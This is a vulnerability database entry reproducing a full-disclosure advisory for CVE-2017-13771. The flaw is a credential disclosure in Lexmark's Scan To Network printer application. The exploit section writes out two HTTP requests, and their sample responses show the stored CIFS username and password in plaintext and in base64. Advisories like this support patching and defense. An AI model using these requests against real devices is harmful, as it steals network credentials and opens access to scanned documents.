ID

VAR-E-201709-0429


CVE

cve_id:CVE-2017-13771

Trust: 0.5

sources: PACKETSTORM: 143975

TITLE

Lexmark Scan To Network (SNF) 3.2.9 Information Disclosure

Trust: 0.5

sources: PACKETSTORM: 143975

DESCRIPTION

Lexmark Scan to Network (SNF) printer application versions 3.2.9 and below suffer from a credential disclosure vulnerability.

Trust: 0.5

sources: PACKETSTORM: 143975

AFFECTED PRODUCTS

vendor:lexmarkmodel:scan to networkscope:eqversion:3.2.9

Trust: 0.5

sources: PACKETSTORM: 143975

EXPLOIT

Summary
=======
1. Information exposure of network credentials in embedded printer
application (CVE-2017-13771)

Vendor
======
"Lexmark creates innovative imaging solutions and technologies that help
customers worldwide print, secure and manage information with ease,
efficiency and unmatched value. Combining innovative technologies with deep
industry expertise, Lexmark simplifies the complex intersection of digital
and printed information in retail, financial services, healthcare,
manufacturing, education, government and more." [1].

Tested version
==============
Lexmark Scan To Network (SNF) application <= 3.2.9

Vulnerabilitiy and PoC
=======================
"The Embedded Scan to Network solution is an embedded Java application that
is installed as a flash file on multifunction printers (MFPs) which support
the Lexmark Embedded Solutions Framework (LeSF). It allows users at the
printer to scan their documents to network destinations specified by the
network administrator" [2].

Scan To Network application supports the configuration of network
credentials and if used they will be stored in plaintext and transmited in
every request to the configuration tab. The next request should be made to
get plaintext credentials that could be used later to escalate privileges
in the network or get access to scanned documents:

POST https://host/cgi-bin/direct/printer/prtappauth/apps/snfDestServlet
HTTP/1.1
Host: host
Content-Type: multipart/form-data; boundary=----boundary
Content-Length: 181

------boundary
Content-Disposition: form-data; name="dests"

scanToNet.factory.0
------boundary
Content-Disposition: form-data; name="editButton"

Edit...
------boundary--

HTTP/1.1 200 OK
...
...
<span id="cifs.uName">
<span class="header">Username:</span>
<input type="text" name="cifs.uName" value="TEST" class="control"
maxlength="256"></input>
<span id="cifs.pwd">
<span class="header">Password:</span>
<input type="password" name="cifs.pwd" value="TEST123"
class="control"></input>

It is possible to have too a base64-encoded password from application
configuration export functionality:

GET
https://host/cgi-bin/direct/printer/prtappauth/apps/ImportExportServlet?exportButton=clicked
HTTP/1.1
Host: host

HTTP/1.1 200 OK
...
...
esf.cifs.inst.1.cifs.uName "TEST"
esf.cifs.inst.1.cifs.pwd "VEVTVDEyMw=="

Timeline
========
19/05/2017: Vendor is notified through security email
30/08/2017: No response from vendor, CVE assigned, full disclosure

[1] https://www.lexmark.com/en_us/about/company.html
[2]
http://support.lexmark.com/library/LEXMARK/primus/files/PATTLNK_8312007_1530-AdminGuide.pdf

Trust: 0.5

sources: PACKETSTORM: 143975

EXPLOIT HASH

LOCAL

SOURCE

md5: a2f8f1bd1016da9a8c59d02c7ed56417
sha-1: 4c5ef369854fa18a6e3cb707c4e1dc3510d3f665
sha-256: 7f5304f38d1716d8fb15c58a74fb0d5b46d16decfb997800f2709540f89301e5
md5: a2f8f1bd1016da9a8c59d02c7ed56417

Trust: 0.5

sources: PACKETSTORM: 143975

PRICE

free

Trust: 0.5

sources: PACKETSTORM: 143975

TYPE

info disclosure

Trust: 0.5

sources: PACKETSTORM: 143975

TAGS

tag:exploit

Trust: 0.5

tag:info disclosure

Trust: 0.5

sources: PACKETSTORM: 143975

CREDITS

Daniel Correa

Trust: 0.5

sources: PACKETSTORM: 143975

EXTERNAL IDS

db:NVDid:CVE-2017-13771

Trust: 0.5

db:PACKETSTORMid:143975

Trust: 0.5

sources: PACKETSTORM: 143975

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2017-13771

Trust: 0.5

sources: PACKETSTORM: 143975

SOURCES

db:PACKETSTORMid:143975

LAST UPDATE DATE

2022-07-27T09:29:42.876000+00:00


SOURCES RELEASE DATE

db:PACKETSTORMid:143975date:2017-09-01T13:13:13